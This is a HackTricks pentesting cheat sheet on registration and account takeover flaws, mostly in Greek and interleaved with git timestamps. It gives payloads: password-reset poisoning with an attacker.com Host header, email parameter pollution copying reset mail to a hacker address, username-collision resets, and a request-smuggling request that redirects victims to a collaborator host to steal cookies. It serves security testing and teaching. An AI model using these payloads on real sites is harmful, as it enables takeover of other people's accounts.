hacktricks/pentesting-web/registration-vulnerabilities.md

207 lines
12 KiB
Markdown
Raw Normal View History

# Registration & Takeover Vulnerabilities
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-02-03 14:45:32 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Registration Takeover
### Duplicate Registration
2021-06-27 14:55:59 +00:00
* Προσπαθήστε να δημιουργήσετε χρησιμοποιώντας ένα υπάρχον όνομα χρήστη
* Ελέγξτε ποικιλία στο email:
* κεφαλαία
* \+1@
* προσθέστε κάποιο τελεία στο email
* ειδικούς χαρακτήρες στο όνομα email (%00, %09, %20)
* Βάλτε μαύρους χαρακτήρες μετά το email: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
2021-06-27 14:55:59 +00:00
### Username Enumeration
2021-06-27 14:55:59 +00:00
Ελέγξτε αν μπορείτε να καταλάβετε πότε ένα όνομα χρήστη έχει ήδη καταχωρηθεί μέσα στην εφαρμογή.
2021-06-27 14:55:59 +00:00
### Password Policy
2021-06-27 14:55:59 +00:00
Δημιουργώντας έναν χρήστη ελέγξτε την πολιτική κωδικών πρόσβασης (ελέγξτε αν μπορείτε να χρησιμοποιήσετε αδύναμους κωδικούς).\
Σε αυτή την περίπτωση μπορείτε να προσπαθήσετε να κάνετε bruteforce τα διαπιστευτήρια.
2021-06-27 14:55:59 +00:00
### SQL Injection
2021-06-27 14:55:59 +00:00
[**Check this page** ](sql-injection/#insert-statement)για να μάθετε πώς να προσπαθήσετε να αναλάβετε λογαριασμούς ή να εξάγετε πληροφορίες μέσω **SQL Injections** σε φόρμες καταχώρησης.
2021-06-27 14:55:59 +00:00
### Oauth Takeovers
2021-06-27 14:55:59 +00:00
2023-02-16 18:26:56 +00:00
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
2021-06-27 14:55:59 +00:00
### SAML Vulnerabilities
2021-06-27 14:55:59 +00:00
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### Change Email
Όταν καταχωρηθείτε προσπαθήστε να αλλάξετε το email και ελέγξτε αν αυτή η αλλαγή επικυρώνεται σωστά ή αν μπορείτε να την αλλάξετε σε αυθαίρετα emails.
2021-06-27 14:55:59 +00:00
### More Checks
2021-11-30 00:17:48 +00:00
* Ελέγξτε αν μπορείτε να χρησιμοποιήσετε **disposable emails**
* **Μακρύς** **κωδικός** (>200) οδηγεί σε **DoS**
* **Ελέγξτε τα όρια ρυθμού στη δημιουργία λογαριασμών**
* Χρησιμοποιήστε username@**burp\_collab**.net και αναλύστε το **callback**
## **Password Reset Takeover**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Ζητήστε επαναφορά κωδικού πρόσβασης στη διεύθυνση email σας
2. Κάντε κλικ στον σύνδεσμο επαναφοράς κωδικού πρόσβασης
3. Μην αλλάξετε τον κωδικό
4. Κάντε κλικ σε οποιαδήποτε 3η ιστοσελίδα (π.χ.: Facebook, twitter)
5. Παρεμβάλετε το αίτημα στο Burp Suite proxy
6. Ελέγξτε αν η κεφαλίδα referer διαρρέει το token επαναφοράς κωδικού πρόσβασης.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Παρεμβάλετε το αίτημα επαναφοράς κωδικού πρόσβασης στο Burp Suite
2. Προσθέστε ή επεξεργαστείτε τις παρακάτω κεφαλίδες στο Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Προωθήστε το αίτημα με την τροποποιημένη κεφαλίδα\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Αναζητήστε μια διεύθυνση URL επαναφοράς κωδικού πρόσβασης με βάση την _κεφαλίδα host_ όπως : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
2021-11-30 00:17:48 +00:00
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
2021-11-30 00:17:48 +00:00
1. Ο επιτιθέμενος πρέπει να συνδεθεί με τον λογαριασμό του και να μεταβεί στη λειτουργία **Αλλαγή κωδικού**.
2. Ξεκινήστε το Burp Suite και παγώστε το αίτημα.
3. Στείλτε το στην καρτέλα επαναλήπτη και επεξεργαστείτε τις παραμέτρους: User ID/email\
2024-02-10 22:40:18 +00:00
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
2021-11-30 00:17:48 +00:00
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
Το token επαναφοράς κωδικού πρέπει να δημιουργείται τυχαία και να είναι μοναδικό κάθε φορά.\
Δοκιμάστε να προσδιορίσετε αν το token λήγει ή αν είναι πάντα το ίδιο, σε ορισμένες περιπτώσεις ο αλγόριθμος δημιουργίας είναι αδύναμος και μπορεί να μαντευτεί. Οι παρακάτω μεταβλητές μπορεί να χρησιμοποιηθούν από τον αλγόριθμο.
2021-11-30 00:17:48 +00:00
* Χρονική σήμανση
* UserID
* Email του χρήστη
* Όνομα και Επώνυμο
* Ημερομηνία Γέννησης
2024-02-10 22:40:18 +00:00
* Κρυπτογραφία
* Μόνο αριθμοί
* Μικρή ακολουθία token (χαρακτήρες μεταξύ \[A-Z,a-z,0-9])
* Επαναχρησιμοποίηση token
* Ημερομηνία λήξης token
2021-11-30 00:17:48 +00:00
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
1. Προκαλέστε ένα αίτημα επαναφοράς κωδικού χρησιμοποιώντας το API/UI για μια συγκεκριμένη διεύθυνση email π.χ: test@mail.com
2. Εξετάστε την απάντηση του διακομιστή και ελέγξτε για `resetToken`
3. Στη συνέχεια, χρησιμοποιήστε το token σε μια διεύθυνση URL όπως `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
2021-11-30 00:17:48 +00:00
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
2021-11-30 00:17:48 +00:00
1. Εγγραφείτε στο σύστημα με ένα όνομα χρήστη ταυτόσημο με το όνομα χρήστη του θύματος, αλλά με κενά διαστήματα πριν και/ή μετά το όνομα χρήστη. π.χ: `"admin "`
2. Ζητήστε μια επαναφορά κωδικού με το κακόβουλο όνομα χρήστη σας.
3. Χρησιμοποιήστε το token που στάλθηκε στο email σας και επαναφέρετε τον κωδικό του θύματος.
4. Συνδεθείτε στον λογαριασμό του θύματος με τον νέο κωδικό.
2021-11-30 00:17:48 +00:00
Η πλατφόρμα CTFd ήταν ευάλωτη σε αυτή την επίθεση.\
2024-02-10 22:40:18 +00:00
Δείτε: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
2021-11-30 00:17:48 +00:00
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
2021-11-30 00:17:48 +00:00
1. Βρείτε ένα XSS μέσα στην εφαρμογή ή σε μια υποτομέα αν τα cookies είναι περιορισμένα στον γονικό τομέα: `*.domain.com`
2024-02-10 22:40:18 +00:00
2. Διαρρεύστε το τρέχον **cookie συνεδρίας**
3. Αυθεντικοποιηθείτε ως ο χρήστης χρησιμοποιώντας το cookie
2021-11-30 00:17:48 +00:00
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
2021-11-30 00:17:48 +00:00
1\. Χρησιμοποιήστε **smuggler** για να ανιχνεύσετε τον τύπο HTTP Request Smuggling (CL, TE, CL.TE)\
2021-11-30 00:17:48 +00:00
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Δημιουργήστε ένα αίτημα που θα αντικαταστήσει το `POST / HTTP/1.1` με τα παρακάτω δεδομένα:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` με στόχο να ανοίξετε ανακατεύθυνση των θυμάτων στο burpcollab και να κλέψετε τα cookies τους\
3\. Το τελικό αίτημα θα μπορούσε να μοιάζει με το εξής
2021-11-30 00:17:48 +00:00
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone reports exploiting this bug\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
2021-11-30 00:17:48 +00:00
1. Δημιουργήστε ένα payload για το CSRF, π.χ: “HTML φόρμα με αυτόματη υποβολή για αλλαγή κωδικού”
2. Στείλτε το payload
2021-11-30 00:17:48 +00:00
### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
2021-11-30 00:17:48 +00:00
Το JSON Web Token μπορεί να χρησιμοποιηθεί για την αυθεντικοποίηση ενός χρήστη.
2021-11-30 00:17:48 +00:00
* Επεξεργαστείτε το JWT με άλλο User ID / Email
2024-02-10 22:40:18 +00:00
* Ελέγξτε για αδύναμη υπογραφή JWT
2021-11-30 00:17:48 +00:00
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## References
2021-11-30 00:17:48 +00:00
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2024-02-03 14:45:32 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}